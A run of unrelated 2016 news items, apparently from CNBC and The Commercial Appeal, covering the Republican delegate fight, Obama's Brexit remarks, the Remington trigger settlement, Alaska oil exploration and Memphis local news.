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Donald Trump's landslide victory in the New York GOP primary was a game-changer. It ended his Wisconsin slump and set the stage for an across-the-board sweep on Tuesday in Pennsylvania, Maryland, Delaware, Connecticut, and Rhode Island. Trump's vote count exceeded his pre-primary polling average by nearly 10 percentage points. Perhaps most important, the win gave him 89 more delegates for the RNC July convention.

Republican presidential candidates Donald Trump and Sen. Ted Cruz (R-TX). Getty Images

So Trump is now the prohibitive favorite to win the GOP nomination, although there is still much dispute about this. But I believe, even if he comes up short of a majority 1,237 delegates, he will still get a first-ballot victory. There will be roughly 190 uncommitted delegates at the Cleveland convention. And Trump, with his art of the deal, can be very persuasive.

But what hasn't gotten enough attention following New York is how Trump did it, and how it will enhance his position in the rest of the primaries. My theory is this: Trump cleverly turned the tables against Ted Cruz in regard to the nationwide delegate fight, especially in Colorado. Trump outflanked Cruz.

I believe, even if [Trump] comes up short of a majority 1,237 delegates, he will still get a first-ballot victory.

By calling the delegate-selection process "rigged," and arguing that Colorado had an election without voters, Trump turned a loss into a victory. Why? Because he put Cruz in the unenviable position of defending the status quo delegate-selection process.

Now, Cruz played by the rules in Colorado and elsewhere. And Trump was caught flat-footed, and to some extent was embarrassed by his own weak delegate-gathering team.

However, and this is the key point, Cruz argued time and again that the rules were the rules and that he simply played by them. And as Trump continuously attacked the RNC rules as being undemocratic, disenfranchising to voters, and creatures of out-of-touch Republican-party regulars, he put Cruz in the position of backing the establishment. A bad place for Cruz.

Moreover, in attacking the delegate process, Trump was able to restore and even enhance his position as the anti-establishment outsider. The agent of change. That's precisely what GOP voters favor.

Now, Colorado was a bad delegate story to begin with. A planned direct primary vote was canceled. But a friend relates the disturbing story of his moderate Republican brother who owns a small railroad and who caucused for Trump. Trump won that local caucus by 60 percent. But as the process moved up to the county level, then the congressional district level, and finally the state level, Trump got zero delegates.

At a minimum, this process was wacky, convoluted, and opaque. At its worst, it was rigged against GOP voters. Other states have produced similar horror stories. And Pennsylvania may be positioned to deliver the most ridiculous. Whoever wins the direct Pennsylvania primary next Tuesday gets only 17 out of 71 delegates. So no matter who wins, 50-something delegates will still be uncommitted. That's crazy. Actually, I think the whole GOP selection process is crazy. Why not a simple, direct, winner-take-all primary election? The person with the most votes gets all the delegates. Nice and simple.

Republican National Committee chair Reince Priebus might want to think about this progressive democratic reform. After 100 years or so, it's time for a change.



But back to the Trump New York win: Trump trashed the current delegate system while Cruz defended it. It was bad politics for Mr. Cruz.

And, Trump expanded his critique into a full-blown issues platform. In a Wall Street Journal op-ed five days before the New York primary, Trump argued that the old order, the governing elite, the establishment, and the special-interest donors, consultants, pollsters, and pundits are the same people "who were wrong on taxes, on the size of government, on trade, on immigration, on foreign policy." In very clear terms, Trump connected Cruz with exactly those establishmentarian elites who have bred so much anger and resentment in Republicans everywhere. Trump completely outflanked Cruz while turning a process issue into a policy issue. The more Cruz defended the delegate process, the more Trump hammered away at his new theme that Cruz is defending the elite old order. In that WSJ op-ed, Trump charged that Cruz is actually a member of the very "Washington cartel" that Cruz criticizes.

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Indoor air pollution may be as much or more of a problem as pollution outdoors, according to new research.



Bill O'Leary | The Washington Post | Getty Images

Smoke, fungal spores, and chemicals used in certain paints, varnishes and cleaners have been shown to be harmful to human health, and yet indoor air quality is not as well understood as pollution outdoors, according to a study published in the journal Science of the Total Environment.

"When we think of the term 'air pollution,' we tend to think of car exhausts or factory fumes expelling gray smoke," said study co-author Prashant Kumar of the University of Surrey. "However, there are actually various sources of pollution that have a negative effect on air quality, many of which are found inside our homes and offices. From cooking residue to paints, varnishes and fungal spores, the air we breathe indoors is often more polluted than that outside." Of course, as the study notes, communities can take action to tackle the problem.

The team of scientists from Australia and Europe that wrote the paper is calling for greater efforts to monitor indoor air pollutants in real time, saying that doing so could bring serious health benefits.

Environmental sensors have become relatively cheap and don't require much energy. It would not be difficult to begin placing them inside buildings to monitor air quality, the researchers noted in their study.

Those who live in cities spend up to 90 percent of their time indoors  most of the air they are breathing is "indoor air." Sometimes that air is similar to outdoor air, especially in well-ventilated buildings. But additional pollutants are killing significant numbers of people worldwide.
Johannes Simon | Getty Images | Getty Images

When it comes to its booze - be it wine, beer, cider or spirits - Europe has a world-renowned heritage and reputation. But how can it avoid a hangover as tastes change? The market size for alcoholic drinks in Western Europe has shrunk over the past five years. Statistics from Euromonitor show that, in terms of volume, the market contracted by around 5 percent between 2009 and 2015 from almost 46 billion litres of alcohol to 43.3 billion. CNBC takes a look at how some of Europe's drinks industries are doing.

Brewing beer

European beer, in particular, has struggled. The market was worth 131.5 billion euros ($148 billion) in 2009, but this fell to 122.5 billion euros 2014, a sharp decline of 6.8 percent.

However, European beer remains popular internationally. One of the world's biggest brewers, Heineken , sells 250 brands in 179 countries around the world. "Europe has the reputation as an "old world" expert with a long-standing heritage of making great beers. Particularly Belgium, Germany, Czech Republic and U.K.," Jonny Forsyth, global drinks analyst at Mintel, told CNBC via email. "This gives brands an automatic kudos among foreign drinkers who are increasingly influenced by Western lifestyles and trends and want the status and knowledge that they are drinking "the good stuff."

Despite its strong reputation, beer sales are being affected by two trends.

First, beers from the U.S. are becoming much more popular. "Innovative American beer producers are really muscling in on the global beer sector because they are the craft beer pioneers and craft is really taking off around the world," explained Forsyth. "This is making America seem a much more exciting and vibrant place for beer-making, and makes Europe look a little more old-fashioned." Secondly, the craft beer revolution is taking significant market share from the large European brewers. In the U.K., for instance, lager sales have dropped by 8 percent over the past 5 years according to market research by Mintel, whereas sales of bitters and ales have grown from 895 million litres in 2014 to 913 million litres in 2015. "Global interest in craft beers is inspiring more local brewing," Forsyth said. "Microbrewers in Brazil, for example, have won international awards and made use of local Brazilian ingredients to create their own unique, local style of beers. "Craft is mainly about local and experimentation so it is definitely conceivable that as locals realise they too can create great beer, that will eat into the share of the European traditional brewers."

Crafting cider

Denice Tyler | EyeEm | Getty Images

This global competition has left Europe's big beer brewers with only a few choices.

Some have turned to acquiring their craft beer competitors, such as AB InBev, the world's largest brewer, which bought U.K. craft beer maker Camden Town Brewery at the end of in 2015. Others have turned to offering a broader range of products, such as their own range of craft beers and making apple cider. In contrast to beer sales, cider sales have increased, growing by more than 100 million litres since 2009 to 1.313 billion litres by 2015, an increase of 9.5 percent.

Spiros Malandrakis, senior industry analyst of alcoholic drinks for Euromonitor, explained why cider has become much more popular. "[Cider products] are sweet in the palate, are easier to down and they have been doing really well across the pond," he told CNBC over the phone. "Over the last three years, cider has been taking over the States like a storm, because it was positioned as much more artisanal, ideal for celiac disease [and] much more female friendly," he said. Heineken, for instance, now offers cider and craft beer products to consumers. "We expect to see continued and increasing consumer demand for premium and craft beers  segments where we are already winning," a spokesperson told CNBC via email. "Innovation is firmly embedded in our business and we have focussed our innovation spend on areas which will fuel continued growth, including cider, craft and variety beers."

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London Mayor Boris Johnson has landed himself in hot water after an opinion piece published Friday included claims that the U.S. President Barack Obama dislikes Britain because of his ancestry.

Obama - who has traveled to the U.K. this week - has been accused of arriving in the country at a politically sensitive time with a referendum on the U.K.'s membership of the European Union due on June 23.

In an article written by Johnson in British tabloid The Sun, Johnson claims that the U.K. and America could be "better friends" if the country voted to leave the EU. However, it's a short diversion concerning a bust of Winston Churchill that was focus for a backlash by many readers and political pundits.



CARL COURT | AFP | Getty Images

"Something mysterious happened when Barack Obama entered the Oval Office in 2009. Something vanished from that room, and no one could quite explain why," the op-ed said.

"On day one of the Obama administration it (the bust) was returned, without ceremony, to the British embassy in Washington. No one was sure whether the President had himself been involved in the decision," it added.

"Some said it was a snub to Britain. Some said it was a symbol of the part-Kenyan President's ancestral dislike of the British empire  of which Churchill had been such a fervent defender."

Although Johnson - who is backing a vote to leave the U - explained that "others" has made generalizations about the U.S. president, one political pundit in the U.K. accused him of "grotesque innuendo." Others simply said that the mere mention of his ancestry showed a lack of respect and dignity.
"I love this list and agree with every suggestion on it," the "Shark Tank" judge wrote on Cyber Dust, an ephemeral messaging app similar to Snapchat in which Cuban invests.

Entrepreneur and investor Mark Cuban took to social media Friday to endorse a list of tips for "enormously productive" people penned by Inc. magazine.

In the article, leadership and entrepreneurship consultant Lolly Daskal outlines nine bad habits that her best clients refuse to indulge in, like being distracted or succumbing to negativity.



For instance, Daskal suggests that productive people don't give "mental space" to self-limiting beliefs, writing, "The first step in attaining success is to give up the belief that you can't have it or don't deserve it."

Inc.'s list builds on the annals of advice that Cuban has issued to "Dusters" over the years, drawing on lessons from his success founding HDNet, Broadcast.com and MicroSolutions and investing in numerous start-ups.

Click here for the full list at Inc.com.

Disclosure: CNBC owns the exclusive off-network cable rights to "Shark Tank."
Daniel Acker | Bloomberg | Getty Images

McDonald's all-day breakfast spurred same-store-sales growth for two straight quarters, but the burger giant isn't resting on its laurels. Prior to its Friday earnings beat, in which the company posted first-quarter earnings of $1.23 per share against an expected $1.16 per share, the Golden Arches began actively testing new menu items and promotions.

"All-day breakfast has been, clearly, a very strong catalyst for momentum," Kevin Ozan, McDonald's CFO, noted during an earnings conference call on Friday, explaining that the platform has exceeded expectations for the company following its launch.

Steve Easterbrook, president and CEO of McDonald's, said that the company had seen a 6 percent improvement in overall customer satisfaction growth year-over-year, a result of menu item enhancements, like its McPick 2 promotion. The burger exec noted that customers who purchased the value deal also had a higher average check.
CNBC first reported in 2010 about Remington's iconic Model 700  the most popular bolt-action rifle in the world  and accusations that the company covered up the alleged defect for decades. Lawsuits have linked the trigger design to dozens of accidental deaths and hundreds of serious injuries.

A landmark legal settlement to replace the triggers in millions of allegedly defective Remington rifles is on increasingly shaky ground, to the point that a mediator has been brought in to try and settle the case once and for all, CNBC has learned. Meanwhile, gun owners are in limbo over what to do about the guns, which allegedly can fire without the trigger being pulled.

Remington has steadfastly denied there is a defect. To this day, the company maintains the guns are safe and that the incidents were the result of user errors. But in 2014, the company agreed in a nationwide class action settlement to replace the triggers, "to remove the distraction of burdensome and protracted litigation." The tentative agreement covers some 7.5 million guns, including the Model 700 and a dozen other models with similar designs  the Seven, Sportsman 78, 673, 710, 715, 770, 600, 660, 721, 722 and 725 rifles, and the XP-100 bolt-action pistol.



But finalizing that settlement has proven difficult, particularly after new reporting by CNBC in December revealed thousands of internal documents detailing what Remington knew. Within hours of the report, the federal judge overseeing the class action settlement, Ortrie D. Smith in Kansas City, Missouri, ordered the parties to go back to the drawing board to craft a more effective way to notify the public about the trigger replacement offer. That is where the process seems to have stalled.



Late Thursday, Smith extended the deadline for a new notification plan until June 10  it had been due next week  after the parties said that "given the complexity of the issues," they needed more time. It is the third extension the judge has granted.



Meanwhile, multiple sources close to the case tell CNBC that an outside mediator has been meeting with the parties in recent weeks, apparently in hopes of rescuing the settlement. The settlement agreement provides for mediation in case of last- minute disputes, and for binding arbitration if mediation fails. The sources say it is unclear if the case has moved to the arbitration phase. Attorneys for Remington and the plaintiffs did not respond to emails seeking comment.



"It indicates to me that they can't come to terms on an adequate notice to the public," said Richard Barber, a Montana man whose 9-year-old son was killed when a Model 700 rifle went off during a family hunting trip in 2000 and has been searching for answers about the company ever since.



Barber, who is not a party in the class action case but has been sharply critical of both Remington and plaintiffs' attorneys, believes the snag has come "because the court's order (to come up with a clearer way to notify the public) is in conflict with the settlement agreement," which allows Remington to continue claiming the guns are safe.



"The public is confused," Barber said. "I believe Remington has a serious credibility issue."
Google CEO Sundar Pichai and Microsoft CEO Satya Nadella Udit Kulshrestha and David Paul Morris | Bloomberg | Getty Images

Microsoft and Google say they have recently reached an agreement under which they will drop pending regulatory complaints against one another across the globe. The pair have also agreed that they will try to work among themselves to settle any future issues before running to regulators. "Microsoft has agreed to withdraw its regulatory complaints against Google, reflecting our changing legal priorities," a Microsoft representative said in a statement to Re/code. "We will continue to focus on competing vigorously for business and for customers." Google, meanwhile, offered up a similar statement, affirming that it too will withdraw any regulatory complaints it has made. "Our companies compete vigorously, but we want to do so on the merits of our products, not in legal proceedings."

Neither company made any product commitments to one another as part of this deal. The timing is interesting, coming just as European regulators charge that Google is abusing its position in the Android market. However, both sides say the deal was in the works for some time. Microsoft says it isn't taking a position on either the European Union case against Android or an earlier EU inquiry with regard to search. It has, though, dropped its memberships in FairSearch and ICOMP, two groups supporting antitrust actions over Google's search business.

Read More from Re/code:

Europe is officially going after Google for anti-competitive behavior with Android

Microsoft earnings hit by slow PC market, tax issues

Google is worried about finding its next Alphabet business after search

What has changed most between the two companies is the leadership, with current CEOs Sundar Pichai and Satya Nadella enjoying a far more cordial relationship than Steve Ballmer and Eric Schmidt, who tussled over all manner of issues from search practices to browsers to the hiring of Kai-Fu Lee. Under Nadella, Microsoft has also moved to embrace Android and Apple's iOS amid its declining fortunes in the smartphone business. The company has brought a number of products to those operating systems, including Office and Skype.
President Barack Obama said Friday that European unity is under strain and insisted that Britain should remain in the European Union.

Obama made his comments standing next to U.K. Prime Minister David Cameron at 10 Downing St. in London. Cameron has been fighting to defeat a June 23 referendum that proposes that Britain leave the EU.

"I wouldn't describe European unity as in a crisis, but I would say it's under strain. Some of that has to do with the aftermath of the financial crisis and the strains that we're all aware of with respect to the euro zone," Obama said.

The president encouraged continued collaboration between Britain and the United States, while also arguing for Cameron that Britain should remain in the EU.



"I think it's important to emphasize as David points out that the U.K. is not part of the euro zone, so the blowback to the British economy has been different than on the continent," Obama added.
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U.S. President Barack Obama is in Europe for what could be his last trip to the region before his presidency ends in November following an U.S. election.

Obama landed in London on Thursday evening and will use his visit to highlight the "special relationship" between the U.K. and U.S. and to make a call for the U.K. to remain in the European Union, ahead of a closely-fought referendum on the subject due to be held on June 23.

"The European Union doesn't moderate British influence - it magnifies it," he wrote in the Daily Telegraph newspaper. "The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the AtlanticNow is a time for friends and allies to stick together," he said.

The president is due to have lunch at Windsor Castle with Queen Elizabeth, who celebrated her 90th birthday on Thursday, and her husband Prince Philip and will then travel to meet Prime Minister David Cameron before a press briefing at 1730p.m. London time.

British Prime Minister David Cameron and U.S. President Barack Obama walk the Colonnade from the Oval Office to the Residence for a working dinner at the White House in Washington January 15, 2015. Kevin Lamarque | Reuters

Obama is expected to comment on the risks should the U.K. electorate vote to leave the EU with terrorism, migration and the economy risks is expected to associate with leaving. Polls currently show a close vote between "Leave" and "Remain" voters but the latter camp have the lead.

The U.S. and U.K. have traditionally enjoyed a close friendship and Cameron, who is leading the call for Britain to remain a part of a reformed EU, will appreciate Obama's support but those on the opposing side are not happy with Obama's intervention.
Here's the truth: We don't have to choose between the environment and the economy. Being green is profitable. Businesses around the world understand that fact  companies from Toyota to Tesco are flourishing because of it. But the rhetoric around Earth Day continues to ostracize the business community, and with global average temperatures rising dangerously, we can't afford to keep giving business the cold shoulder. Companies have an indisputably bigger environmental impact than everyday citizens, and that's why including them in the fight against climate change is so important. It's time to reclaim Earth Day from the fringes and make it count for activists and capitalists alike.

In 1993, I co-founded the U.S. Green Building Council (USGBC), a nonprofit organization dedicated to sustainable buildings and communities. USGBC created a voluntary rating system  Leadership in Energy and Environmental Design, or LEED  which scores buildings based on their sustainable features.

Since its inception, communities and companies have found that investing in LEED brings them energy savings, water savings, cost savings, and a significant return on their investments. In just 15 years, 14+ billion square feet of real estate around the world have been LEED registered and certified, reducing energy use by double digit percentages and avoiding immeasurable environmental toxins and greenhouse gases. Cutting down on energy use is helping companies to increase their profits.
Oh, the irony. After PayPal announced that it would host a discussion on gender equality in the workplace, the online payment company was blasted on social media for its invite. What went wrong? The panel to lead the discussion is entirely male, NBC News reported. PayPal circulated the invite on Thursday, which read: "Please join us for a discussion with our senior male leaders...about how men and women can partner to achieve a better workplace."

PayPal President and CEO Dan Schulman (center) joins employees, customers and Nasdaq employees while ringing the bell at Nasdaq this morning on July 20, 2015 in New York City. Getty Images

People responded with sarcasm and disappointment on social media. Equal Rights Advocates tweet PayPal's President of Unity Nolwenn Godard took to Facebook to issue a response, according to NBC News. Godard wrote that the full name of the event, "Gender Equality and Inclusion in the Workplace: A Conversation with our Male Allies," did not make it onto original posters. "As a woman leader at PayPal, I am proud of the steps PayPal has taken to promote gender equality in the workplace," Godard wrote on Facebook.
Members of public walk past the Bank of England in London, England

With Europe gearing up for the Brexit vote in the UK on June 23, Europe may be a riskier bet for your portfolio than China .

Katie Nixon, chief investment officer of Northern Trust Wealth Management, tells CNBC's "Power Lunch" on Friday she has removed China as a risk case.

"China's economy has stabilized, greatly reducing the risk of a 'hard landing' and bringing renewed confidence in the political leadership. The GDP report released last week reflected an economy growing at 6.7 percent, with positive momentum in retail sales, industrial production, and fixed asset investment that exceeded expectations," Nixon said.

Read More What a Brexit could mean for US banks



While risks have subsided in China, they have increased in Europe. Nixon believes the Brexit vote is now a coin toss and she's concerned about the impact of the UK leaving the European Union.

According to Nixon, "Immediate economic impacts will be felt through the trade channel, as well as through the movement of people. Both are negatives for growth. Further, a Brexit would introduce additional risk to the EU: who would be next?"

The FTSE 100 and the pan-European STOXX 600 closed lower on Friday.
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The leadership of the Republican National Committee is holding firm on its pledge that the rules of the party's convention are made a week prior to the gathering, shooting down a plan to shift the dynamics of power from the leadership into the hands of the delegates. "It was the shortest rules committee meeting ever," an unidentified RNC member who attended the RNC meeting held this week in Hollywood, Florida, told CNBC. The person spoke on condition of anonymity.

The RNC leadership rejected a proposal by Solomon Yue, an RNC officer and rules and committee member from Oregon. It sought to replace the current convention system, which is based on the rules of order used by the U.S. House and replace it with Robert's Rules of Order. The new rule would have transfered the power out of the hands of the convention's presiding officer, House Speaker Paul Ryan, and put into the hands of the delegates. Under the Robert's Rules, any of the nearly 2,500 delegates would be able to raise objections and interrupt proceedings.

House Speaker Paul Ryan (R-WI). Getty Images

Yue has defended his proposal, saying it would give more transparency to the nomination process, but not all delegates agree. Curly Haugland, RNC Rules Committee member from North Dakota who has said the change would create chaos, stood by the decision to wait on the rule.

"The rules committee voted nearly unanimously, not to tinker with the rules at this meeting to avoid any appearance that the RNC is doing something that would unfairly affect any campaign," said Haugland.

One delegate actually poked fun at the proposed rule: "Ironically, the RNC runs its meetings by Roberts Rules of Order," said Gary Emineth, former RNC North Dakota RNC chairman and unbound delegate from that state. "The only time they don't is at the convention. It's an interesting contradiction."

Delegates who were in the room when the proposal was introduced by Yue to the leadership told CNBC it was quickly squelched. They said they wanted to table it, but he fought back. "He told them he would refuse to stop making his case for the rule change." said an RNC delegate who declined to be identified. "This rule would take the power out of the hands of Paul Ryan and allow the delegates to have more power on how the convention is run. You have to wonder if he is a (Ted) Cruz delegate. Because under Robert's Rules of Order, Cruz would benefit from such a rules change."


Singapore's central bank said it was running a joint investigation with police into possible breaches of securities laws. The authorities also reportedly raided several brokerages.

The Monetary Authority of Singapore (MAS) said as part of its probe, conducted with the commercial affairs department of the Singapore Police Force, it had "obtained documents and items from several broking firms and trading representatives."

The MAS said it wasn't able to provide further information as the investigation was ongoing.

"As a matter of policy, MAS does not comment on its supervisory dealings with specific financial institutions," an MAS spokesperson said via email.



The spokesperson said the MAS statement was made in response to a request for comment on Thursday from local newspaper the Business Times, which on Friday reported that white-collar crime investigators had visited the trading floors of DBS Vickers, Maybank Kim Eng, OCBC Securities and Phillip Securities on Monday to take "certain items" as well as taking some people in for questioning.
A big theme in this election cycle has been the so-called gig economy. It's fueled by the likes of fresh hotel competitor Airbnb along with ride sharing apps like Lyft and Uber.



Some presidential candidates applaud the companies' innovative ways around stringent regulation, while others question the ways freelancers are changing the nature of the workforce and the economy. Love it or leave it, Uber is a fact of life in most American cities now, and even presidential campaigns are getting in on it.

Every presidential campaign has spent money on the on-demand taxi service, according to a Big Crunch analysis of campaign expenditure data from the Federal Elections Commission.

By hiring contractors who operate outside the traditional of employment, companies like Uber can avoid paying certain taxes to the government. They can also avoid offering worker protections that we normally associate with full-time employment.

But working for a company like this lets people use their time more efficiently and make rational decisions for themselves. The companies also provide a capitalistic incentive to perform basic tasks other consumers are willing to outsource.

Uber, Lyft and Airbnb have faced political controversy, regulatory pushback and a wealth of rich investors looking to make huge profits.

It turns out that all of the presidential candidates have spent money on on-demand services, and all have used Uber.
The U.K. government has updated foreign travel advice, warning British citizens about risks visiting America's Southern states.

Specifically the new advice draws attention to potential difficulties for lesbians, gays, bisexuals and transgenders.

"The U.S. is an extremely diverse society and attitudes towards LGBT people differ hugely across the country," the U.K. Foreign Office website says.

"LGBT travelers may be affected by legislation passed recently in the states of North Carolina and Mississippi," it said.

North Carolina and Mississippi have introduced laws that negatively affect people in the LGBT community.

The North Carolina "bathroom" law is a statewide policy banning individuals from using public bathrooms that don't correspond to their sex as stated on their birth certificate.

Celebrities including Bruce Springsteen, Ringo Starr and Pearl Jam have canceled concerts there in protest.

And tech giant PayPal has canceled a large-scale investment plan after the legislation was rubber stamped.

In Mississippi a "religious liberties" law will take effect in July.

That legislation again blocks cities from allowing transgender people to use public bathrooms for the sex they identify as.

It also aims to protect dozens of forms of businesses and services from being prosecuted if they refuse to serve LGBT people.

A similar transgender "bathroom bill" in the Tennessee state failed Monday after it was withdrawn by its sponsor.
An oil transit pipeline runs across the tundra to flow station at the Prudhoe Bay oil field on Alaska's North Slope.

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For the past 50 years, the oilfields of Alaska's North Slope have been dominated by BP , Exxon Mobil and ConocoPhillips . The big three produce much of the state's oil and gas, but independent drillers are now trying to pioneer the Last Frontier's energy future. Independent exploration and production companies have historically been willing to take on the country's riskier oil plays, operating with skinny profit margins and applying new technology to try for potentially huge payoffs. In Alaska, recent discoveries could hold the key to stemming a nearly three-decade decline in the state's oil output. The finds could rank among the largest new onshore assets in the United States, said former Alaska Natural Resources Commissioner Mark Myers. Among them are fields that have sat beneath the noses of big oil firms near the prolific Prudhoe Bay and Kuparuk fields, Myers told CNBC shortly before he retired this year.



"The bottom line is there is still a lot of oil up there, a huge amount," he said. Whether drillers can make a dent in the long-running decline is a question of enormous gravity for a state that has derived as much as 90 percent of revenue from the oil and gas industry. The task has only become more pressing now that a 60-percent collapse in crude prices has plunged Alaska into a budget crisis. To be sure, the challenge of turning the tide is massive. Alaska's annual oil production peaked in 1988 at about 760 million barrels. Last year, it stood at 192 million barrels. The Trans-Alaska Pipeline, which transports crude from Prudhoe Bay and other North Slope fields to the southern shores of Valdez, now operates at roughly one-quarter capacity.

One-third of the nation's reserves are in Alaska, on shore and offshore combined. The challenge for us is not a lack of resource. Kara Moriarty president, Alaska Oil and Gas Association

The state's proven oil reserves stand at under 3 billion barrels today, down from more than 7 billion barrels 30 years ago, according to Energy Information Administration data. But the Alaska Oil and Gas Association believes there are still 5 billion to 6 billion barrels of reserves in existing oilfields, yet more offshore, and another 25 to 30 billion barrels of heavy crude that cannot yet be accessed with today's technology, association President Kara Moriarty told CNBC. "All told, all of that combined, one-third of the nation's reserves are in Alaska, on shore and offshore combined," she told CNBC. "The challenge for us is not a lack of resource."

The challenges, she said, are Alaska's distance from markets, high production and labor costs, and infrastructure challenges, all of which put the average pre-tax cost to produce a barrel of Alaskan oil at $52.

The protracted crude price downturn has made the prospect of exploring less attractive. At the same time, Gov. Bill Walker and state lawmakers have proposed slashing energy industry incentives in order to cover a $4.1 billion state budget gap. Alaska is projected to spend $500 million on oil tax credits in fiscal year 2016, making the incentives the state's third largest expenditure after education and health and social services, according to Gunnar Knapp, professor of economics at the University of Alaska Anchorage.



New discoveries in the Last Frontier

With Alaska's easy oil tapped long ago, the stage was set for wildcatters to take the baton from big oil. In the mid-2000s, surging oil prices and tax credits designed to stimulate new production provided the spark.

Colorado-based Armstrong Oil and Gas is exploring in the Colville River Delta, between the Kuparuk and Alpine field, the last major discovery in Alaska. A third-party assessment of the area determined they held about 500 million barrels of proven reserves, and 1.4 billion in probable reserves. "I think it has the potential to be the single largest oilfield in North America," said Myers, though he cautioned he couldn't say so with certainty. Despite stubbornly low oil prices, Armstrong president Bill Armstrong told Petroleum News in February that the company would accelerate development in its North Slope Pikka unit, along with minority partner Repsol of Spain.

Another company chasing Alaska's next oil giant is Caelus Energy, an independent formed in 2013 to develop large-scale projects. The firm is backed by Apollo Global Management and led by James Musselman, the oilman who helmed Kosmos Energy when it discovered the Jubilee oil field, one of the biggest discoveries in offshore West Africa. Caelus operates the Oooguruk Development Project in the Beaufort Sea, and was until recently ramping up its nearby onshore Nuna field, each of which the company estimates to hold up to 150 million barrels. The crown jewel, though, is the company's Smith Bay Exploration Project, which Caelus believes could yield a billion barrels of oil. Low crude prices have bit into Caelus' plans, however. Earlier this month, Caelus said it would lay off 25 percent of its staff and cease drilling at Oooguruk, which supports about 300 contractors, and put the Nuna project on hold, Petroleum News reported.
Following the first down day for the Dow and S&P 500 in four sessions, U.S. stock futures were mixed. Ahead of Friday trading on Wall Street, the Dow and S&P look to post their third week of gains in the past four weeks. (CNBC)

Three Dow stocks  Caterpillar (CAT), General Electric (GE), and McDonald's (MCD)  report earnings this morning. Microsoft (MSFT) and Google-parent Alphabet (GOOGL), late Thursday, issued weaker-than-expected profits and revenues. Those tech stocks were sharply lower in the premarket. (CNBC)

U.S. crude was higher this morning, and on track for its third consecutive weekly gain, as market sentiment turned more upbeat despite persistent oversupply. Since the Feb. 11 bottom, depressed oil prices have surged about 57 percent. (Reuters)

The U.S.-led coalition air campaign has incinerated about $500 million of terror group ISIS's cash stockpiles and cut its oil revenues by an estimated 50 percent, according to a senior defense official. (USA Today)

President Barack Obama meets with British Prime Minister David Cameron in London today. Obama is expected to argue against a U.K. exit from the European Union, echoing the sentiments he expressed in an op-ed in The Telegraph.

The U.K. government is warning lesbian, gay, bisexual, and transgender (LGBT) people about traveling in parts of the United States, in the wake of controversial legislation passed in North Carolina and Mississippi. (CNBC)
UTICA, N.Y.  Mohawk Valley Health System (MVHS) will host a job fair at the Turning Stone Resort Casino in Verona on May 3 from 3 p.m. to 7 p.m.

MVHS says it has jobs available for all positions, clinical and non-clinical, according to a news release issued Wednesday.

MVHS is an affiliation of Faxton St. Lukes Healthcare and St. Elizabeth Medical Center, both of Utica. The two organizations teamed up in March 2014.

Faxton St. Lukes Healthcare, St. Elizabeth Medical Center, and its long-term and home-care services (subsidiaries of MVHS) have nursing, professional, and non-clinical openings.

Department representatives will be available throughout the event, MVHS said.

The organization encourages candidates to bring their resume. Theyll have the opportunity for on-the-spot interviews.

Qualified applicants can attend this event, or they can apply at the website: www.mvhealthsystem.org/jobs.

Anyone interested in a nursing position should call (315) 624-6195 to talk with a nurse manager directly, MVHS said.

Contact Reinhardt at ereinhardt@cnybj.com
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On The Docket Whether it's a verdict or a hearing, it's On The Docket SHARE Derek Horne

By Kayleigh Skinner of The Commercial Appeal

A Memphis man pled guilty to 17 separate felony offenses stemming from six incidents, according to a statement from the office of Shelby County District Attorney General Amy Weirich.

Derek Horne, 23, pled guilty Wednesday to four counts each of aggravated robbery and aggravated burglary, aggravated rape, attempted aggravated rape, especially aggravated kidnapping, especially aggravated burglary, attempted aggravated burglary, theft over $1,000, aggravated assault and reckless endangerment.

He was sentenced to 57 years in prison by Criminal Court Judge James Lammey.

Horne admitted the crimes took place between November 2011 and April 2012 to eight victims all over Memphis.

Horne beat many of the victims and used a pistol in each case, investigators said. One of the victims, a 54-year-old woman, was left with two broken knee caps, bruises and a missing tooth, they said.

He stole cash, jewelry, computers, televisions and credit cards.

Horne said the crimes took place at homes near Sam Cooper Boulevard and Hollywood Street, Walnut Grove Road and Goodlett Street, Hollywood and Avery Avenue, the Memphis Zoo, White Station Road and Poplar Avenue, and near his own home in the 2400 block of Vandale Street.


<p>May 18, 2015 a Sisters Veronica Quezada (left) and Paloma Tellez serenade travelers with their trumpet and vihula at gate B-43 in Memphis International Airport. Vacation Express has resumed a weekly nonstop charter flight from Memphis International Airport to Cancun International Airport. (Mike Brown/The Commercial Appeal)</p>

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By Wayne Risher of The Commercial Appeal

Vacation Express will resume weekly nonstop flights to Cancun from Memphis May 23-Aug. 1.

Flights will leave Memphis Monday and return Sunday as part of six-night packages.

Aeromexico will operate the flight using a 159-seat Boeing 737-800 aircraft.

Cancun is an extremely popular vacation destination, said Pace Cooper, Memphis-Shelby County Airport Authority board chairman. "The addition of a larger plane shows that Vacation Express is committed to our market, and increases the number of passengers who can take advantage of this exciting destination.
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By Daniel Connolly of The Commercial Appeal

Memphis-based ServiceMaster Global Holdings Inc. is seeking a new headquarters location, and Collierville Mayor Stan Joyner is pitching his town as a potential site.

Joyner said town economic development director John Duncan made the approach. Nothing concrete has developed, the mayor said.

"Just that they're looking and we're throwing our name into the hat," the mayor said.

Any Collierville tax break deal for ServiceMaster would go through public meetings at the town's Industrial Development Board and Board of Mayor and Aldermen.

ServiceMaster is a publicly traded company with 2,200 employees and runs brands including pest control company Terminix. It uses four buildings in the Memphis metro area, with a main office at 860 Ridge Lake Blvd.

A company spokesman has acknowledged the company is looking for a new headquarters building. The real estate search has stretched to Atlanta.
Demolition continues on the Benchmark Hotel at 164 Union in Downtown Memphis. (Brad Vest/The Commercial Appeal)

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By Thomas Bailey Jr. of The Commercial Appeal

The northwest corner of Third at Union basks in the prominence of its neighbors, The Peabody Memphis to the south, AutoZone Park to the east, and the aromatic Charlie Vergos Rendezvous behind.

But finances cloud the future at 164 Union even as demolition crews finish clearing space for what was to be a new Fairfield Inn & Suites.

MNR Hospitality bought the closed Benchmark Hotel for $3.2 million in 2012. MNR shares the same Goodlettsville address, near Nashville, as Epiq Hotels Inc.

B Patel, president of Epiq Hotels, confirmed late this week what hotel consultant Chuck Pinkowski told the newspaper on Monday: A Fairfield Inn & Suites is intended for the site.

But Patel added, "During the extensive design phases over the past few years and the recent demolition, we determined the project will now cost considerably more than initially budgeted, and are having trouble securing finances for the additional capital that will be required to complete the project."

"We are continuing to explore our options,'' Patel wrote.

He described the work taking place at the site as "focused demolition.'' Crews appear to be clearing almost everything but the support structures. Even the exterior walls are being removed from the five-story, 103,000-square-foot building that was constructed in 1958.

